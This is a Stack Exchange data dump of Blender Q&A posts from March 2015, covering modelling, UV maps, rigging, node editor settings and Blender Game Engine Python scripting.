  <row Id="26749" PostTypeId="2" ParentId="26748" CreationDate="2015-03-07T13:13:03.057" Score="4" Body="&lt;p&gt;Yes, open up your &lt;em&gt;User Preferences &gt; Themes &gt; Node Editor&lt;/em&gt; and set the &lt;strong&gt;Noodle curving&lt;/strong&gt; to &lt;strong&gt;0&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZS2i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to &lt;strong&gt;reset&lt;/strong&gt; it, default value is &lt;strong&gt;6&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-03-07T13:19:19.820" LastActivityDate="2015-03-07T13:19:19.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26750" PostTypeId="2" ParentId="26739" CreationDate="2015-03-07T14:16:13.573" Score="2" Body="&lt;p&gt;Create the gun and magazine separately, parent the gun to an empty 'gunEmpty' and magazine to another 'magEmpty' then parent (with offset) a third empty 'magslotEmpty' to the gunEmpty but line it up with the slot for the magazine.  Now add a &quot;copy location&quot; constraint to the magEmpty (copying the magslotEmpty), tweak the positions of the geometry relative to the empties, so the magazine and slot lineup nicely. Now the influence slider of the copy location constraint can be used to attach and unattach the magazine. Additionally you could add an empty to a characters hand and give the magazine a copy location constraint to attach to the hand... This also can be done with bones but empties keep it simpler.&lt;/p&gt;&#xA;" OwnerUserId="13021" LastActivityDate="2015-03-07T14:16:13.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26751" PostTypeId="1" AcceptedAnswerId="26757" CreationDate="2015-03-07T14:39:00.133" Score="6" ViewCount="4712" Body="&lt;p&gt;I want to know how to play(send true pulse) to an action actuator via script (logic brick with all the settings) since playAction doesn't have animation property which I need.&lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="2217" LastEditDate="2015-03-07T16:46:29.717" LastActivityDate="2015-03-07T19:18:07.623" Title="How to play action actuator logic brick via python" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26752" PostTypeId="1" CreationDate="2015-03-07T15:02:05.623" Score="2" ViewCount="243" Body="&lt;p&gt;i started to try modeling some pipes, but i'm stucked about subdividing them (the base pipes) as the pictures shown down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8qahF.jpg&quot; alt=&quot;metro plastic pipes&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pNI1W.png&quot; alt=&quot;modeling start&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried with adding a cylinder, then with a bezier curve then bevel by a circle, any ideas&lt;/p&gt;&#xA;" OwnerUserId="13022" LastActivityDate="2015-04-06T21:09:26.943" Title="Modeling subdivided pipes" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26753" PostTypeId="1" CreationDate="2015-03-07T15:26:07.893" Score="3" ViewCount="136" Body="&lt;p&gt;i change textures all the time ,also i change uv maps when its needed. &#xA; sometimes i come back to an object and i forgot what was the uvmap that i used , &#xA;is there a specific location or menu where i can check what was that exact uv map i used ?&#xA;was it the &quot;cylinder projection&quot; that i used or the &quot;sphere projection &quot;? &#xA;i don't remember , but i would like to know what i did , and how to find this out. &#xA;is it somewhere shown in an info menu ?&#xA;i could not find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a dot in the list would be convenient for the specific uv map that i used for this object.&#xA; &lt;img src=&quot;https://i.stack.imgur.com/Vu2FI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-07T15:26:07.893" Title="where can i see what is my current UVmap used for an object?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26756" PostTypeId="1" AcceptedAnswerId="26759" CreationDate="2015-03-07T16:38:00.627" Score="9" ViewCount="3580" Body="&lt;p&gt;I have a cylinder that I erased some faces near the middle of it on the side like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZdBt8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I when I &lt;kbd&gt;Alt&lt;/kbd&gt; click the edge of it, it doesn't go completely around the new edge like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O25UR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I automatically want it to do is this (I just custom selected all the edges to show you what I mean):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41hGA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there anyway to add edges to the edge loop without clicking every single one? &lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="241" LastEditDate="2015-03-07T17:37:50.400" LastActivityDate="2016-09-09T12:03:29.987" Title="How can I automatically extend edge loop selection?" Tags="&lt;selection-tools&gt;&lt;edges&gt;&lt;topology&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26757" PostTypeId="2" ParentId="26751" CreationDate="2015-03-07T16:45:26.327" Score="8" Body="&lt;p&gt;You can use python to activate the &lt;em&gt;Action&lt;/em&gt; actuator with this script. You will need three logic bricks: A sensor (to trigger it all), the python controller, and the action actuator.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DHZNL.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;&#xA;act = cont.actuators[&quot;Action&quot;] # the name of the Action actuator&#xA;&#xA;if cont.sensors[&quot;Keyboard&quot;].positive: # trigger when buton pressed&#xA;&#xA;    #Set all the properties you want&#xA;    act.action = &quot;CubeAction&quot;&#xA;    act.frameStart = 1&#xA;    act.frameEnd = 30&#xA;    act.priority = 0&#xA;&#xA;    cont.activate(act) # start the actuator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set as many or as few of the settings that you need with python or in the logic brick, however the python will overrule any duplicate settings. &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bge.types.BL_ActionActuator.html&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is a list of all the settings for the Action actuator.&lt;br&gt;&#xA;Do note the the two minimum setting you need are the action name, and frame end.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-07T19:18:07.623" LastActivityDate="2015-03-07T19:18:07.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26758" PostTypeId="1" CreationDate="2015-03-07T16:53:15.673" Score="0" ViewCount="93" Body="&lt;p&gt;I'm trying to make use of curves to animate a stroke, specifically a cartoon-ish &quot;wind&quot; effect, by animating the &quot;bulge&quot; shown in the taper object from left to right (as indicated by the arrow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that no matter how much I twiddle the control points for the controlling Taper object, I cannot get the very beginning of the curve to act with a zero diameter (shown circled) – which apparently is not a problem for the end of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YGOYp.png&quot; alt=&quot;Example Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13025" LastActivityDate="2015-03-07T16:53:15.673" Title="Taper Object Cannot Alter Curve Start?" Tags="&lt;objects&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26759" PostTypeId="2" ParentId="26756" CreationDate="2015-03-07T16:57:15.110" Score="4" Body="&lt;p&gt;If you select all the faces in that mesh and choose &lt;em&gt;Select&gt; Select Boundary Loop&lt;/em&gt; from the 3D view header menu you will get the selection you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;kbd&gt;Alt&lt;/kbd&gt;-Click the initial edge and then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;-Click the next set of edges.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-11-22T14:32:54.510" LastActivityDate="2015-11-22T14:32:54.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26760" PostTypeId="2" ParentId="26756" CreationDate="2015-03-07T16:59:28.927" Score="6" Body="&lt;p&gt;You have to change the &lt;a href=&quot;https://vimeo.com/9146369&quot; rel=&quot;nofollow noreferrer&quot;&gt;edge flow&lt;/a&gt; of the edge to make the selection go around the way you are look for it to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By spiting the corner in to two quads that &quot;bend&quot; around the corner you will make the flow go around. Do note that it has to be two quads, two triangles will not work.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dUe62.png&quot; alt=&quot;two quads&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see by adding a new edge loop the edge flow now goes around the whole edge.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G0S5b.png&quot; alt=&quot;adding a new edge loop&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T00:41:48.460" LastActivityDate="2015-11-22T00:41:48.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26761" PostTypeId="1" AcceptedAnswerId="26763" CreationDate="2015-03-07T17:15:31.477" Score="1" ViewCount="158" Body="&lt;p&gt;when i use the self created plane to sphere object , i still have to deal with the double lines from start to end borders from the original bent plane .&#xA;in the picture we can see the lines are double where they will touch eachother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the second picture we see the final result with the sphere using the plane uv map, &#xA;now is that still available when the double start to end border lines are merged ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or is this impossible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the best way to merge these double lines and still have the plane uv map working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hrkeqm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c7xprm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="3127" LastEditDate="2015-03-07T18:25:33.927" LastActivityDate="2015-03-08T03:36:59.463" Title="what is the best way to merge the double vertices lines in a plane to sphere object without loosing the plane UV map setting?" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26762" PostTypeId="2" ParentId="26756" CreationDate="2015-03-07T17:32:32.980" Score="10" Body="&lt;p&gt;Since the target edges are all boundaries, there are multiple ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; &lt;strong&gt;twice&lt;/strong&gt; on a boundary extends the selection to all boundary edges.&lt;br&gt;&lt;em&gt;For single boundary loop as shown in the example&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other ways to select boundaries. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;strong&gt;Vertex Select&lt;/strong&gt; or &lt;strong&gt;Edge Select&lt;/strong&gt; mode: &lt;strong&gt;3D View&lt;/strong&gt; menu &gt; &lt;strong&gt;Select&lt;/strong&gt; -&gt; &lt;strong&gt;Non Manifold&lt;/strong&gt; &lt;br&gt;(or press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or you can first select all elements, then go to &lt;strong&gt;3D View&lt;/strong&gt; menu &gt; &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;strong&gt;Select Boundary Loop&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="55" LastEditDate="2015-11-22T20:29:52.877" LastActivityDate="2015-11-22T20:29:52.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26763" PostTypeId="2" ParentId="26761" CreationDate="2015-03-07T18:04:51.603" Score="2" Body="&lt;p&gt;Use &lt;kbd&gt;W&lt;/kbd&gt;&gt;&lt;em&gt;Remove doubles&lt;/em&gt; to join them. Next, use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;E&lt;/kbd&gt;&gt;&lt;em&gt;Mark seem&lt;/em&gt; along the verts to allow for separation, basically joined edges will always remain connected, messing up your UV map, unless you specify otherwise with mark seem. Finally select everything in the UV image editor and hit &lt;kbd&gt;P&lt;/kbd&gt; for pin to lock 'em in place. When you UV unwrap again, everything will be in order.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-03-08T03:36:59.463" LastActivityDate="2015-03-08T03:36:59.463" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26764" PostTypeId="1" CreationDate="2015-03-07T18:55:30.463" Score="1" ViewCount="643" Body="&lt;p&gt;So I have two cylinders, one is cut and one is not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the misaligned cylinder (That is cut at 45 degrees): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCuUA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is is possible to align those edges and make them straight again with the cylinder behind it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind of like this, where the green lines represent how I want the selected objects edges to be aligned with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xyhEv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="13024" LastEditDate="2015-03-07T21:47:17.180" LastActivityDate="2015-03-07T23:13:41.700" Title="How can I align the edges of a cut cylinder with another cylinder?" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26765" PostTypeId="1" AcceptedAnswerId="26767" CreationDate="2015-03-07T19:28:47.333" Score="2" ViewCount="1236" Body="&lt;p&gt;How do I add a panel to the properties region in the image editor?&#xA;The code below is just a slight modification from the &quot;ui_panel_simple.py&quot; template. I changed the &lt;em&gt;bl_space_type&lt;/em&gt; to be the text editor, and the &lt;em&gt;bl_region_type&lt;/em&gt; to be &lt;em&gt;UI&lt;/em&gt; which I thought would put it in the properties region, but it does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class HelloWorld(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Text Editor properties region&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'TEXT_EDITOR'&#xA;    bl_region_type = 'UI'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Hello world in the text editor!&quot;, icon='WORLD_DATA')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorld)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorld)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-07T20:10:15.980" LastActivityDate="2016-03-10T00:08:13.363" Title="How to add a panel to the properties region in the Image Editor?" Tags="&lt;python&gt;&lt;interface&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26766" PostTypeId="1" CreationDate="2015-03-07T19:39:44.377" Score="3" ViewCount="7089" Body="&lt;p&gt;I've recently had a problem and I want to know how to fix it.&#xA;My probleme is when I move the bones in rigify I don't want them to stretch, because when they stretch the leg or arm gets messy and taller than it should be.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is: How do I deal with elbows controllers so that the arm looks real when rigging?&#xA;My third question is: How do I add eyes and face controllers to the rig so that I can control expressions of face without messing with the body rigs&lt;/p&gt;&#xA;" OwnerUserId="12921" LastEditorUserId="2217" LastEditDate="2015-03-07T19:43:24.267" LastActivityDate="2018-05-29T14:54:52.587" Title="rigify stretching bones" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26767" PostTypeId="2" ParentId="26765" CreationDate="2015-03-07T20:20:21.077" Score="5" Body="&lt;p&gt;The script works as written. The &quot;problem&quot; with the script is that it is putting the hello world in the text editor and not the image editor. &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bpy.types.Panel.html?highlight=bl_space_type#bpy.types.Panel.bl_space_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bl_space_type&lt;/code&gt;&lt;/a&gt; takes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EMPTY&lt;/code&gt;, &lt;code&gt;VIEW_3D&lt;/code&gt;, &lt;code&gt;GRAPH_EDITOR&lt;/code&gt;, &lt;code&gt;OUTLINER&lt;/code&gt;, &lt;code&gt;PROPERTIES&lt;/code&gt;, &lt;code&gt;FILE_BROWSER&lt;/code&gt;, &lt;code&gt;IMAGE_EDITOR&lt;/code&gt;, &lt;code&gt;INFO&lt;/code&gt;, &lt;code&gt;SEQUENCE_EDITOR&lt;/code&gt;, &lt;code&gt;TEXT_EDITOR&lt;/code&gt;, &lt;code&gt;DOPESHEET_EDITOR&lt;/code&gt;, &lt;code&gt;NLA_EDITOR&lt;/code&gt;, &lt;code&gt;TIMELINE&lt;/code&gt;, &lt;code&gt;NODE_EDITOR&lt;/code&gt;, &lt;code&gt;LOGIC_EDITOR&lt;/code&gt;, &lt;code&gt;CONSOLE&lt;/code&gt;, &lt;code&gt;USER_PREFERENCES&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as accepted values, one for each window type in blender. The script in question has &lt;code&gt;TEXT_EDITOR&lt;/code&gt; and not &lt;code&gt;IMAGE_EDITOR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class HelloWorld(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Image Editor properties region&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'UI'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Hello world in the image editor!&quot;, icon='WORLD_DATA')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorld)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorld)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-03-10T00:08:13.363" LastActivityDate="2016-03-10T00:08:13.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26768" PostTypeId="2" ParentId="26764" CreationDate="2015-03-07T20:21:25.680" Score="1" Body="&lt;p&gt;Select the vertices that you want to flatten, then scale it along the axis you want to flatten by 0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, scale along the y-axis by 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TdHcc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6308" LastActivityDate="2015-03-07T20:21:25.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26769" PostTypeId="2" ParentId="26752" CreationDate="2015-03-07T20:53:08.223" Score="2" Body="&lt;p&gt;you want the pipe to branch off into the many pipes? I would try Boolean (union) a cluster of solid pipes (I used subdivided cubes) . Make sure the verts are aligned before you union. Delete the unwanted faces  then select the verts on one end and use the circle command to round them out. extrude then use the spin tool to add the elbow. apply subdivide to taste.&#xA;steps from right to left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnxwG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13031" LastActivityDate="2015-03-07T20:53:08.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26770" PostTypeId="1" AcceptedAnswerId="26774" CreationDate="2015-03-07T21:21:44.177" Score="2" ViewCount="306" Body="&lt;p&gt;The grid floor in blender is XY. Can this be changed to another combination of X, Y and Z, say to XZ, or something else? Note, that this does not impact what coordinate system is used at all.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2015-03-07T22:39:37.427" Title="grid floor change possible?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26771" PostTypeId="1" AcceptedAnswerId="26775" CreationDate="2015-03-07T21:44:39.030" Score="4" ViewCount="1105" Body="&lt;p&gt;I am trying to make a weapon sight Dynamically scale depending on how far away the target is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kp074.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueoef.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;                                   &lt;strong&gt;Desired effect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However right now it does not scale. the sight stays the same because there the &lt;code&gt;distance&lt;/code&gt; property does not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the action it plays is simply an animation of the sight scaling with frame 1 really big and frame 100 very small)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logic setup for sight. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/ocb9R.png&quot; alt=&quot;enter image description here&quot; title=&quot;Yes, This is the right place&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sight is on an overlay scene.&#xA;I already have a ray being cast from the camera and a script to move an empty to the hit position of the ray. The guns then tracks to that empty so it will always fire to the center of the screen. However the problem occurs when I try to get the distance between the world position of the camera, and the world position of the empty and assign it to the property &lt;code&gt;Distance&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the distance between the camera's world position  and the empty's world position and assign that value to a game property?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-04T18:07:33.220" LastActivityDate="2015-04-04T18:07:33.220" Title="Dynamically assign a value to game property" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26772" PostTypeId="1" AcceptedAnswerId="26788" CreationDate="2015-03-07T22:02:30.133" Score="0" ViewCount="284" Body="&lt;p&gt;I am a newbie playing with the new Landscape mesh tool. My problem is, say, I generate 3000x3000 m(eters)^2 mesh of terrain. The human viewport would be expressed in cms at most, while blender's is arbitrary. Can I somehow view the terrain while modelling, at the height of a human, using human viewport parameters, not that of a god?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Both the answer(s) and the comments were very helpful, but also take a look at this:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=g0mcAL3sWRM&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=g0mcAL3sWRM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="1770" LastEditDate="2015-03-08T10:24:50.267" LastActivityDate="2015-03-08T10:32:36.600" Title="human viewport parameters" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26774" PostTypeId="2" ParentId="26770" CreationDate="2015-03-07T22:39:37.427" Score="4" Body="&lt;p&gt;The closest thing is to switch to quad view &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt;, then Blender displays a grid in front, top and right view (orthographic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBGlZ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-07T22:39:37.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26775" PostTypeId="2" ParentId="26771" CreationDate="2015-03-07T22:49:09.630" Score="4" Body="&lt;p&gt;always ------------This python &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will set distance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from mathutils import Vector&#xA;cont = bge.logic.getCurrentConroller()&#xA;&#xA;own = cont.owner&#xA;&#xA;offset = Vector([100,0,0])&#xA;&#xA;offset = own.worldPosition+(own.worldOrienation*offset)&#xA;&#xA;##offset now is a point 100 units out on the objects x axis&#xA;&#xA;Ray = own.rayCast(offset , own.worldPosition, 0, '',0,0,0)&#xA;## cast a ray to the offset point, 0 units past, looking for any property, not xray and&#xA;##  Not returning polydata&#xA;&#xA;if Ray[0]:&#xA;## if you hit something&#xA;    own['Distance'] = own.getDistanceTo(Ray[1])&#xA;## if you dont hit something&#xA;else:&#xA;    own['Distance'] = own.getDistanceTo(offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;about scale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;always--------------and------------copy distance from raycaster&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distance is changed------python below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;own=cont.owner&#xA;&#xA;own.localScale =[1-own['Distance']*.01,1-own['Distance']*.01,1-own['Distance']*.01]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ray[1] = world Position Where Ray hit&#xA;Ray[0] = who it hit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34899&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/34899&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="13034" LastEditDate="2015-03-08T06:04:43.947" LastActivityDate="2015-03-08T06:04:43.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26776" PostTypeId="2" ParentId="26591" CreationDate="2015-03-07T23:08:13.310" Score="1" Body="&lt;p&gt;just use a generic rigid body joint constraint -&gt; 6dof and lock all the values to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you are going to want to check linked collision (so it won't collide with the chassis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one thing to note, rigid body joints are broken in 2.73a if you delete any item, it remove ALL rigid body joints in the scene...&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-07T23:08:13.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26777" PostTypeId="1" AcceptedAnswerId="26786" CreationDate="2015-03-07T23:08:26.487" Score="1" ViewCount="2251" Body="&lt;p&gt;I have Blender 2.73a with AMD Radeon 3100 Graphics. I saw &lt;a href=&quot;http://www.blenderguru.com/articles/4-easy-ways-to-speed-up-cycles/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; on how to make cycles render faster. It says when I go to User Preferences&gt; System&gt; Compute Device, It has no CUDA option, which means there is no GPU option. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="5217" LastActivityDate="2015-03-08T17:46:52.623" Title="No CUDA and GPU option" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
